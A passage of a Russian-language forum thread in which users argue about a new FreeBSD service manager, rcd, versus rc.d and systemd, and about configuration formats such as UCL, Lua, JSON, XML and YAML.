линуксовых ifup/ifdown хуков, как их использовать решает каждый сам. > devd должен быть частью init системы, как сделано в systemd. Если он вам что то должен - предлагаю самому решать эту проблему, остальных устраивает то что есть. И да, сабж решает проблему ускорения начальной загрузки и не более. Хотя как по мне можно было и rc.d допилить до такого же эффекта. > в rcd есть socket activation Это что? замена inetd?)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #89

110. Сообщение от аноним анониму (?), 10-Сен-26, 21:41	+1 +/–
его изобретали, когда кроме xml, ничего не было. он хорош с оговорками: 1. применительно к серверной системе 2. для начала 2000х
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #107 Ответы: #280

111. Сообщение от Ivan_83 (ok), 10-Сен-26, 21:43	–1 +/–
Да ладно, надо было выкинуть UCL и юзать LUA для конфигов тоже, было бы намного винрарнее. Единственное что меня заинтересовало: как он сделал обновление без потери состояния?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #86

112. Сообщение от Ivan_83 (ok), 10-Сен-26, 21:46	+1 +/–
Почему не взлетит то? Они просто будут постепенно внедрять, чтобы не ломать совместимость и пользовательские привычки. К 19-25 версии сделают дефолтным, лет через 5-15, там никто не торопится.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #79

113. Сообщение от User (??), 10-Сен-26, 21:47	+/–
>> Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли? > выросло поколение systemd-админов, которые не могут распарсить файл сложнее ini. конфиг > файрвол nftables в линуксе, видимо, тоже не видели. Ээээ... С ним так-то через json api работают, и в общем от трёх разных синтаксисов fw в linux много у кого подгорает)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #108

114. Сообщение от warlock66613 (ok), 10-Сен-26, 21:50	+/–
У вас есть информация что разработчики этого проекта присоединились к предателям человечества?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #88 Ответы: #311

115. Сообщение от Ivan_83 (ok), 10-Сен-26, 21:53	+/–
Если бы то что у вас подпадает под ваши критерии "ремонтопригодность" было кому то надо - оно бы было. Полагаю другие люди просто чинят загружаясь с рабочей системы, лайвсд какогонить и не теряют время пытаясь нечто глюкавое воскресить находясь внутри. Учитывая что это линукс, достаточно чтобы mount+chroot работали, дальше можно смонтировать запасной рабочий образ и чрутнутся в него и уже от туда примерно как с лайвсд чинить.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #54 Ответы: #274

116. Сообщение от Ivan_83 (ok), 10-Сен-26, 21:53	+/–
А где в ядре фряхи вы видели LUA? Вот в загрузчике он есть и кажется в установщике и вроде всё.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #99 Ответы: #147

117. Сообщение от Ivan_83 (ok), 10-Сен-26, 21:55	–2 +/–
И авторам раста тоже надо было вовремя успокоительных или упокоительных принять, мир был бы лучше без этого.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #95 Ответы: #266

118. Сообщение от Ivan_83 (ok), 10-Сен-26, 22:02	–1 +/–
Дело не в протащить, дело в том что заинтересованных в этом нет.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #10 Ответы: #180

119. Сообщение от Ivan_83 (ok), 10-Сен-26, 22:04	+/–
А как же LUA в качестве конфигов?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #104 Ответы: #122, #172, #196

120. Сообщение от Ivan_83 (ok), 10-Сен-26, 22:05	+/–
> В веб-разработке люди не страдают подобной туфтой и юзают стандартный JSON. А как же стандарт в виде XML везде?)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #77 Ответы: #126, #198

121. Сообщение от Ivan_83 (ok), 10-Сен-26, 22:08	+2 +/–
Как минимум тем что он не умеет читать те rc.d файлы что уже есть.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #83 Ответы: #186

122. Сообщение от User (??), 10-Сен-26, 22:13	+/–
> А как же LUA в качестве конфигов? Не-не-не, спасибо, нет. Мне openresty на всю жизнь хватило. Неустранимые проблемы с безопасностью, проблемы со статическим анализом (все ошибки в рантайме, лови драный nil через неделю), попытки выродить по определению декларативную конфигурацию насквозь императивным языком, отсутствие вменяемого тулинга (как провалидировать конфигурацию? Подсветка синтаксис, автодополнение в произвольной системе?)... В общем сразу - прямо, и неееемнооожечко направо, да.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #119 Ответы: #130

123. Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 23:16	+/–
> Врут. Нет, если вы любите нескучный xml... Формат дело наживное, я ж не говорю скопировать один в один. Вон в systemd не xml
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #107 Ответы: #263

124. Сообщение от pansa2 (?), 10-Сен-26, 23:24	+/–
Еще таймеры туда добавть. Таймеры - хорошо. Только без вот этого уродского синтаксиса времени, как у системдЫ, а в остальном они прям хороши. Но без журналды только. Вот это зло.
Ответить | Правка | Наверх | Cообщить модератору

125. Сообщение от Аноним (75), 10-Сен-26, 23:26	+/–
> KYAML is a safer and less ambiguous subset of YAML Не изобрели, а попытались пофиксить корявый YAML.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #106 Ответы: #153

126. Сообщение от Аноним (75), 10-Сен-26, 23:28	+1 +/–
> А как же стандарт в виде XML везде?) В каком "визде" ты видишь XML на вебе?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #120 Ответы: #132

127. Сообщение от Dmitry (??), 10-Сен-26, 23:28	+/–
Сколько комментариев, и ни один не увидел слово "pdfork()" Я вот, например, глазами читаю текст новости, а вы чем ?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #129, #133, #310

128. Сообщение от Аноним (71), 11-Сен-26, 00:03	–2 +/–
я вот одного понять не могу никак, на кой программе которая имеет конфигурационный файл еще и аргументы командной строки? Я могу там понять максимум опция --version, а все остальное зачем когда есть конфигурационный файл?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #90 Ответы: #151, #155, #162, #176

129. Сообщение от warlock (??), 11-Сен-26, 00:07	+1 +/–
Запускалка процессов использует системную функцию предназначенную для создания процессов чтобы создавать процессы. Вот это поворот!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #127 Ответы: #181

130. Сообщение от Ivan_83 (ok), 11-Сен-26, 00:15	+/–
А откуда у вас nil в статическом конфиге взялся? У меня с prosody никаких проблем не было.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #122 Ответы: #152, #174

131. Сообщение от Аноним (-), 11-Сен-26, 00:16	+/–
Линукс не терпит конкурентов.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #3 Ответы: #170

132. Сообщение от Ivan_83 (ok), 11-Сен-26, 00:16	+/–
Ну как же, вот 20 лет назад все говорил что XML это самый стандартный стандарт, теперь такие же люди говоря за json, я прям второй раз поверить не готов :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #126 Ответы: #145, #154

133. Сообщение от Ivan_83 (ok), 11-Сен-26, 00:19	+/–
Думаете опечатка? А вот нет: https://man.freebsd.org/cgi/man.cgi?pdfork(2)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #127 Ответы: #168

134. Сообщение от Сладкая булочка (?), 11-Сен-26, 00:36	+1 +/–
> Лучше б shepherd затащили… Чем он лучше?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #19 Ответы: #161

135. Сообщение от Сладкая булочка (?), 11-Сен-26, 00:38	+/–
> По сравнению с bash, posix sh это просто трэш. С чего это?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #66 Ответы: #146

136. Сообщение от Сладкая булочка (?), 11-Сен-26, 00:39	+/–
> поделки типа гню shepherd Поясни.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #45

137. Сообщение от Аноним (-), 11-Сен-26, 00:46	+1 +/–
Никто уже таким не занимается, спокойно ждут по 30 секунд, когда нерабочая сеть по таймауту отвалится.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #39

138. Сообщение от Аноним (28), 11-Сен-26, 01:08	+1 +/–
pkg.conf iovctl.conf
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #76

139. Сообщение от Аноним (28), 11-Сен-26, 01:10	+/–
Он использует библиотеку для конфигов из базовой поставки FreeBSD. Он ничего не изобретал
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #77 Ответы: #141

140. Сообщение от kusb reg (ok), 11-Сен-26, 01:18	+/–
ini файлы это юникс вей ini файлы это юникс вей ini файлы это юникс вей ini файлы это юникс вей ini файлы это юникс вей юникс вей это ini файлы ini файлы ini файлы ini
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #34

141. Сообщение от Аноним (75), 11-Сен-26, 01:28	+/–
> Он использует библиотеку для конфигов из базовой поставки FreeBSD. Он ничего не изобретал Мля, если он "ничего" не изобретал, то откуда появился этот очередной NIH формат и библиотека для него?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #139 Ответы: #149

142. Сообщение от Аноним (142), 11-Сен-26, 03:20	–1 +/–
Dlss 5 забыл
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #73 Ответы: #192

143. Сообщение от sunjob (ok), 11-Сен-26, 03:21	+1 +/–
> какую-нибудь террабайтную базу система инициализации ускорит этот процесс?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #41

144. Сообщение от Аноним (68), 11-Сен-26, 03:25	+/–
Да, у каждого свои приколы. И даже с приколами любой из них лучше зоопарка. Лишь бы использовался униформно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #104 Ответы: #150

145. Сообщение от Аноним (68), 11-Сен-26, 03:27	+/–
SGML был, есть и остаётся главным стандартом веба. А уж в виде HTML или XML -- это дело десятое.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #132

146. Сообщение от Аноним (68), 11-Сен-26, 03:31	+/–
Как там с массивами, уже завезли или $@ хватает каждому?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #135 Ответы: #215

147. Сообщение от Аноним (68), 11-Сен-26, 03:34	+/–
А да, точно, во фряхе это ещё не осилили. Я всё время путаю FreeBSD и NetBSD, они у меня вечно сливаются в понятие "бесполезная маргинальная ос".
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #116 Ответы: #267

148. Сообщение от Аноним (148), 11-Сен-26, 04:37	–1 +/–
В серьез нацелились в десктоп, похоже.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #329

149. Сообщение от Ivan_83 (ok), 11-Сен-26, 05:30	+/–
UCL изобрели раньше и кажется автор тут иногда тусуется в коментах.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #141

150. Сообщение от User (??), 11-Сен-26, 05:55	+/–
/представил себе xml'ный кубик, содрогнулся/ Неее, предпочитаю иметь возможность выбора инструмента под задачу.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #144

151. Сообщение от bergentroll (ok), 11-Сен-26, 06:02	+/–
Удобново. В CI каких-нибудь условных запускать, не создавая конф. Либо через env-переменные.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #128 Ответы: #223

152. Сообщение от User (??), 11-Сен-26, 06:19	+/–
> А откуда у вас nil в статическом конфиге взялся? > У меня с prosody никаких проблем не было. Ээээ... А зачем вообще нужен Lua в принципиально статическим конфиге? Вот чтобы что?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #130 Ответы: #156

153. Сообщение от User (??), 11-Сен-26, 06:21	+/–
>> KYAML is a safer and less ambiguous subset of YAML > Не изобрели, а попытались пофиксить корявый YAML. Ну скажи, что эти вот "попытались пофиксить корявый JSON" - легче стало?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #125

154. Сообщение от User (??), 11-Сен-26, 06:24	+/–
> Ну как же, вот 20 лет назад все говорил что XML это > самый стандартный стандарт, теперь такие же люди говоря за json, я > прям второй раз поверить не готов :) Ну, у json'а есть одно маааааленькое преимущество, в виде "наличия реализации" этого вот стандарта. А с xml, когда я последний раз проверял - в природе не было ни одной полной реализации.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #132 Ответы: #157

155. Сообщение от Ivan_83 (ok), 11-Сен-26, 07:28	+/–
Как минимум через комм строку удобнее передевать: - путь к конфиг файлу - путь к пид файлу - флаг чтобы запускать демоном/интерактивно - хэлп/usage
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #128 Ответы: #190, #222

156. Сообщение от Ivan_83 (ok), 11-Сен-26, 07:31	+/–
Язык LUA в качестве парсера не сказать чтобы сильно тяжелее некоторых других парсеров, особенно xml если оно совсем-совсем полноценное типа libxml. Иногда бывает удобно всунуть немного логики в конфиг, например как в том же nginx.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #152 Ответы: #158, #159, #228

157. Сообщение от Ivan_83 (ok), 11-Сен-26, 07:35	+/–
Это конечно да, но теперь вон yaml какой то есть, и хз что ещё.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #154

158. Сообщение от User (??), 11-Сен-26, 09:01	+/–
> Язык LUA в качестве парсера не сказать чтобы сильно тяжелее некоторых других > парсеров, особенно xml если оно совсем-совсем полноценное типа libxml. > Иногда бывает удобно всунуть немного логики в конфиг, например как в том > же nginx. Не, смотри - впихнуть в конфиг lua "для динамики" можно (ну, вопрос безопасности сего отложим) - применили, получили классический статический конфиг, провалидировали - если все ок, запустились. А вот использовать lua как формат конфигурации - уже вот ниочень.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #156

159. Сообщение от User (??), 11-Сен-26, 09:16	+/–
> Язык LUA в качестве парсера не сказать чтобы сильно тяжелее некоторых других > парсеров, особенно xml если оно совсем-совсем полноценное типа libxml. > Иногда бывает удобно всунуть немного логики в конфиг, например как в том > же nginx. Причём смотри - если мы нормальные люди, а не курильщики, то мы не впихиваем япву общего назначения для конфигурации - мы делаем унифицированный (json) api для работы с ней, выносим всю динамику вовне и вместе с пользователем (который гарантированно безопасно работает с конфигурацией на удобном языке) наслаждаемся результатом. А любители "упрощать" путем всяких import config.py должны страдать (и так же вместе с пользователями) страдают.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #156 Ответы: #185

160. Сообщение от 123 (??), 11-Сен-26, 09:19	–1 +/–
JSON ужасен сам по своей природе, миру было бы легче, если бы его не существовало.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #77 Ответы: #187

161. Сообщение от Аноним (19), 11-Сен-26, 09:20	–1 +/–
Зависимости, таймеры, пользовательские сервисы, расширяемость, Guile. Ну и да — он уже есть.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #134 Ответы: #352

162. Сообщение от Аноним (197), 11-Сен-26, 09:40	+/–
Например, для запуска нескольких экземпляров одновременно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #128 Ответы: #225

163. Сообщение от Аноним (163), 11-Сен-26, 09:53	+/–
Illumos
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #35 Ответы: #278

164. Сообщение от Аноним (197), 11-Сен-26, 09:54	+/–
Вы кроме коверканья слов и инфантильности можете что-то умное сказать? >Глюпые, да... Вот вы же сами всё прекрасно понимаете, но играете на публику. Ответьте, какую именно проблему решает KYAML, когда уже есть json5? Или вы не заметили, как они ловким движением руки отломали возможность дозаписи без поломки синтаксиса?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #106 Ответы: #165

165. Сообщение от User (??), 11-Сен-26, 10:01	+/–
> Вы кроме коверканья слов и инфантильности можете что-то умное сказать? А какого ответа вы ждёте на претензии космических масштабов и космической глупости? > Вот вы же сами всё прекрасно понимаете, но играете на публику. Ответьте, > какую именно проблему решает KYAML, когда уже есть json5? Или вы > не заметили, как они ловким движением руки отломали возможность дозаписи без > поломки синтаксиса? Зачем нужен json5, когда есть xml?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #164 Ответы: #175

166. Сообщение от Аноним (197), 11-Сен-26, 10:02	–3 +/–
>Нарушены принципы kiss Никакого kiss никогда не существовало и существовать не может. >теперь в FreeBSD тащат комбайн, "менеджер всего" Потому, что все эти ваши kiss работают только в 90-ых, когда у вас самые примитивные задачи. А как только нужно что-то более сложное, чем считать упавшую программу запущенной, просто по наличию lock файла, то сложность shell портянок переходит все мыслимые пределы.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #24 Ответы: #188

167. Сообщение от Dmitry (??), 11-Сен-26, 10:09	+/–
Куча программ использует UCL конфиги. Ну и нативная поддержка через libucl есть Где ж вас таких набирают по объявлению ?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #76 Ответы: #262

168. Сообщение от Dmitry (??), 11-Сен-26, 10:27	+/–
Нет, я наоборот, хотел, чтобы обратили внимание, что rcd, в отличие от штатного rc, не смотрит на pid процесса в /var/run
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #133 Ответы: #182

169. Сообщение от Массоны Рептилоиды (?), 11-Сен-26, 10:32	+/–
> Есть два стула - на одном конфигурация без комментариев, другой ни с чем и никак не совместим - на какой сам сядешь, на какой bsd посадишь? Посажу bsd на второй стул, сам - ей на руки сяду.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #103 Ответы: #173, #195

170. Сообщение от Аноним (-), 11-Сен-26, 10:33	–3 +/–
> Линукс не терпит конкурентов. Linux пофиг на конкурентов. Там прокладывают свой путь, решая свои проблемы и достигая свои цели. Если вы оказались на пути шоссе - дорожный каток легко раздавит пару клопов. Воняй, не воняй, прокладка шоссе - не остановится. Поэтому вы либо съе...сь от катка, либо будете закатаны в асфальт. Разница в масштабах - работает так. А вон то - типачное нечто в стиле BSD. Не решает ни 1 проблемы + создает новые. 1) Разлапистый синтаксис. Говорят что краткость сестра таланта. И если сравнить юниты sd с вон тем... 2) О да, скриптинг, на одном правильном языке, прям в этой штуке - это очень юниксвэйно. 3) И наверняка будет длинная очередь из майнтайнеров - просто мечтающих убить свое время на въезд в чей-то навороченный полет мысли в каких-то скриптах. Вы уж извините - но разнесение кода и конфигурации было EPIC WIN - а вы так ничего и не поняли. Код вперемешку с конфигурацией это очень плохой паттерн, если все это поддерживать надо и тем более - другому человеку передать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #131

171. Сообщение от нах. (?), 11-Сен-26, 10:34	+/–
bsd init не имеет к этому никакого отношения, ни rc.d ни rcd - не инит. А зачем понадобилось заменять rc.d - ну вот просто посмотри в скрипт, к примеру, запускающий mysqld, и подумай, если есть чем - что будешь делать если надо что-то поправить (особенно - в чужой работающей системе).  Или - хочется ли тебе написать такой же для нового порта такой же развесистости и сложности. И сразу поймешь, зачем. ctrlc-ctrlv подход имеет определенные недостатки по сравнению с готовым кодом в одном экземпляре.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #87 Ответы: #346

172. Сообщение от Аноним (197), 11-Сен-26, 10:43	+/–
Какую вы проблему собираетесь решить через lua? Гораздо логичнее взять nix, который уже соберётся в нужный формат.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #119 Ответы: #294

173. Сообщение от User (??), 11-Сен-26, 10:44	+/–
>> Есть два стула - на одном конфигурация без комментариев, другой ни с чем и никак не совместим - на какой сам сядешь, на какой bsd посадишь? > Посажу bsd на второй стул, сам - ей на руки сяду. Маккьюзик с Оллманом одобряют!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #169

174. Сообщение от Аноним (197), 11-Сен-26, 10:47	+/–
>А откуда у вас nil в статическом конфиге взялся? Элементарно. Достаточно требовать наличие параметра, для валидации схемы, с целью защиты от случайных ошибок.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #130

175. Сообщение от Аноним (197), 11-Сен-26, 10:50	+/–
>А какого ответа вы ждёте на претензии космических масштабов и космической глупости? Вы играете в игру, кто скажет большую глупость? >Зачем нужен json5, когда есть xml? Для того, чтобы не путаться в грамматике. Или вы по прежнему соревнуетесь, кто большую глупость описывает?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #165 Ответы: #177

176. Сообщение от User (??), 11-Сен-26, 10:52	+/–
> я вот одного понять не могу никак, на кой программе которая имеет > конфигурационный файл еще и аргументы командной строки? Я могу там понять > максимум опция --version, а все остальное зачем когда есть конфигурационный файл? Ну, у меня вот было требование обеспечения стабильного поведения без сайд-эффектов и возможности модификации в рантайме. А то поменяет кто конфигу, а приложение не перезапустит, или гонки-гоночки если оно за состоянием файла бдит - оно нам надо? Оно нам не надо...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #128 Ответы: #200, #226

177. Сообщение от User (??), 11-Сен-26, 10:55	+/–
Не, я признаю вашу победу, чоужтут. Про дату появления yaml/json5 и такую штуку как обратная совместимость - даже и не спрашиваю, от лукавого это всё - могли бы и два несовместимых парсера поддерживать, лентяи.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #175 Ответы: #178

178. Сообщение от Аноним (197), 11-Сен-26, 11:04	+/–
>Про дату появления yaml/json5 и такую штуку как обратная совместимость Похоже вы продолжаете играть в игру на самый глупый комментарий. Вы же сами написали про "годик назад". Почему вы вдруг резко откатились с kyaml на yaml? >могли бы и два несовместимых парсера поддерживать, лентяи Могли бы изначально не брать yaml, раз всё равно изобрели json5. Не дураки же в гугле сидят? Или всё таки дураки?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #177 Ответы: #179

179. Сообщение от User (??), 11-Сен-26, 11:14	+/–
Ну, т.е. про то, что json5 появился лет на 10 позже, чем yaml и на момент выхода K8s (про borg не знаю) был странным поделием с непонятным статусом - вы не в курсе? А дальше - обратная совместимость, любой yaml-парсер прочитает kyaml (это подмнодество yaml, если вы не в курсе) - а вот если !внизапна! затащить в экосистему несовместимую свистелку (такую же как старая, но другую - всем лучше, только чуть-чуть хуже) - у кучи людей возникнут нежданчики, ага. Я как представитель той "кучи" рад не буду - вы не знаю...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #178 Ответы: #194

180. Сообщение от Аноним (180), 11-Сен-26, 11:21    Скрыто ботом-модератором	+/–
Потому и нет заинтерисованных, что фиг протащишь. Команда systemd даже linux дистрибьютеров посылает с их идеями и предложениями, freebsd вооще без варинтов.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #118

181. Сообщение от Dmitry (??), 11-Сен-26, 11:27	+/–
Почитайте про отличия между fork(), pdfork() и pdrfork()
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #129 Ответы: #216, #304

182. Сообщение от Ivan_83 (ok), 11-Сен-26, 11:33	+/–
Тут как бы да и как бы посмотрим. pidfd вот только завезли в систему. Надо посмотреть что там внутри и можно ли это дампить на диск, если да то и в обычный rc.d поддержка приедет.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #168 Ответы: #303, #357

183. Сообщение от OpenEcho (?), 11-Сен-26, 11:35	–1 +/–
> если тебя ломают постоянно. Очередной телепат? > Ну не собирай с этими фичами Чудак однако. "Собирают" любители самоделкины, а там где на этоm делают деньги, изпользуют старое правило - use the right tool for a job
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #98

184. Сообщение от Аноним (184), 11-Сен-26, 11:38	–1 +/–
> А это не systemd. Оно не живёт в PID1 и всё, что > может сломаться, не несёт туда. > Это буквально то, что вынесет systemd на линуксах, как pipewire вынес пшшшаудио. В ваших влажных мечтах. Кому в проде надо художества на Lua прямо в системной конфигурации? Разделение на код и ДЕКЛАРАТИВНУЮ конфигурацию это лучшее что sd сделал. А кому сие мало - зовут скрипты через Exec* но это они будут делать только если реально приперло. А в целом проды будут избавлены от свободных художников желающих варить в скрипте кофе (тем более что реально сварить кофе и тем более притащить его в постель у них кишка все равно тонка).
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #7

185. Сообщение от Ivan_83 (ok), 11-Сен-26, 11:38	+/–
Ну я как бы всё равно не очень понял. Читал книжку по LUA и использование LUA для парсинга конфигов которые тоже в формате LUA там в самых первых главах. prosody юзаю - то что там на LUA конфиг и вопрощает эту идею в жизнь - мне никак не мешает жить. json и прочее - сделать можно, но это для взаимодействия через вебморду или API для конфигурации живого процесса. Мне кажется так практичнее.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #159 Ответы: #208, #259

186. Сообщение от OpenEcho (?), 11-Сен-26, 11:39	+/–
> Как минимум тем что он не умеет читать те rc.d файлы что уже есть. Make sense 👍
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #121

187. Сообщение от Ivan_83 (ok), 11-Сен-26, 11:39	+/–
XML ещё хуже в разы, с json хоть как то жить можно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #160

188. Сообщение от xsignal (ok), 11-Сен-26, 11:40	+4 +/–
> примитивные задачи Не задачи были примитивными, а решенения были простыми, потому что это делали гении IT. А сейчас до компьютеров дорвались профаны и превратили Linux и web в тарелку спагетти, поэтому и кажется, что всё стало сложно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #166 Ответы: #199

189. Сообщение от Аноним (-), 11-Сен-26, 11:45	+/–
> systemd пробит гвоздями к линуксу с его cgroups2 и прочими, а протащить > эти фичи в ядро БСД просто так не получится. К cgroups2 прибит не только sd но и всякие контейнеры и проч. Хотя если бсд это не надо - то чьи это проблемы? Могут пытаться свои ифейсы для этого продвигать, только их поддерживает примерно - никто. Ну или можно вопить что контейнеры в нормальном виде - не надо :). А то ишь чего придумали, ресурсы контейнерам полисовать!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #10

190. Сообщение от Аноним (-), 11-Сен-26, 11:48	+/–
> Как минимум через комм строку удобнее передевать: > - путь к конфиг файлу Это надо - только в случае кастомных конфигов. Если они есть. И как там - ваши чудеса смоли уже в "инстансы" где можно из одного шаблона - например 5 копий OpenVPN или там Tor поднять - с разными настройками, но более-менее общими свойствами запуска? > - путь к пид файлу Pid файлы это вообще жесточайший легаси костыль, который должен умереть. > - флаг чтобы запускать демоном/интерактивно > - хэлп/usage Это вообще - user facing штуки.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #155 Ответы: #197, #286

191. Сообщение от Malinovsky (?), 11-Сен-26, 11:51	–1 +/–
Научись читать прямо, а не наискосок, а то в голове одна каша будет из аббревиатур.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #80

192. Сообщение от Malinovsky (?), 11-Сен-26, 11:51	+/–
Не пользуюсь.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #142

193. Сообщение от Аноним (-), 11-Сен-26, 11:51	+/–
> Есть два стула - на одном конфигурация без комментариев, Это про что? Реестр вашей винды чтоли? А то у Systemd таки можно - коментарии :). Да, без коментов в реестре - тяжко. > другой ни с чем и никак не совместим - на какой сам сядешь, на > какой bsd посадишь? Да вы оба обсидите - и реестр виндовый, и вон то небось. Мазохизм - это как-то так.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #103 Ответы: #202

194. Сообщение от Аноним (197), 11-Сен-26, 11:52	+/–
>Ну, т.е. про то, что json5 появился лет на 10 позже, чем yaml Дальше что? Вы умеете мысли формулировать, или только вбрасывать? Или вы предлагаете мне за вас додумать ваш же аргумент? >любой yaml-парсер прочитает kyaml (это подмнодество yaml, если вы не в курсе) Дальше что? Может для начала задаться вопросом, а откуда вообще в проекте взялся yaml? Может если не брать плохую технологию, то её и чинить не придётся? >в экосистему несовместимую свистелку (такую же как старая, но другую - всем лучше, только чуть-чуть хуже) Так это и есть тащить в систему очередную поделку, но только хуже. Если бы в гугле сидели действительно не дураки, то они бы не превозмагали бы yaml десятилетиями, а написали бы собственный формат, благо парсер генераторы давным давно изобретены, либо, если им так не хочется изобретать свой формат, взяли бы чужой, по типу sexp.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #179 Ответы: #203

195. Сообщение от Аноним (-), 11-Сен-26, 11:53    Скрыто ботом-модератором	+/–
>> Есть два стула - на одном конфигурация без комментариев, другой ни с чем и никак не >> совместим - на какой сам сядешь, на какой bsd посадишь? > Посажу bsd на второй стул, сам - ей на руки сяду. Это не руки были... :)). Хотя может и руки, эти BSD - такие затейники...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #169

196. Сообщение от Аноним (-), 11-Сен-26, 11:54	+1 +/–
> А как же LUA в качестве конфигов? Код как конфигурация? Die-die-die-die. Потому что поддерживать ЭТО - вообще совсем нереально.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #119 Ответы: #213, #295

197. Сообщение от Аноним (197), 11-Сен-26, 11:54	+/–
>И как там - ваши чудеса смоли уже в "инстансы" где можно из одного шаблона - например 5 копий OpenVPN или там Tor поднять - с разными настройками, но более-менее общими свойствами запуска? Осильте nix.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #190 Ответы: #236

198. Сообщение от Аноним (-), 11-Сен-26, 11:58	+/–
>> В веб-разработке люди не страдают подобной туфтой и юзают стандартный JSON. > А как же стандарт в виде XML везде?) От настолько стандартный - что даже в вебе с этим их XHR (XML HTTP REQUEST!) - задолбались и в контенте шлют что угодно - кроме, собственно, XML в 99% случаев. А так парсинг XNL ужасен и ресурсоемок. А если еще XSLT вспомнить - не факт что ты даже с расширенным сознанием вдуплишь как вооон то вообще работает на самом деле. Это точно - в конфигах надо, именно вот так? А, да, потом окажется что парсинг энтерпрайз фигни с всем этим - тормозит аки апокалиптец. И вот уже launchd и smf лихо городят - бинарные кеши с уже распаршеными значениями. И имеют радость с синхронизацией этого всего. Что несомненно упрощает администрирование и совсем не делает систему хрупкой и кривой.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #120

199. Сообщение от Аноним (197), 11-Сен-26, 12:00	–1 +/–
>Не задачи были примитивными, а решенения были простыми Ответьте, что проще микроволновка или костёр? Что можно разжечь в лесу подручными средствами, а что предложить ребёнку для того, чтобы подогреть еду? Только выберите один вариант. >поэтому и кажется Ыкспертиза. Мне вот не кажется, я - знаю.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #188

200. Сообщение от Аноним (197), 11-Сен-26, 12:01	+/–
Осильте nix и у решатся проблемы ваши.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #176 Ответы: #204

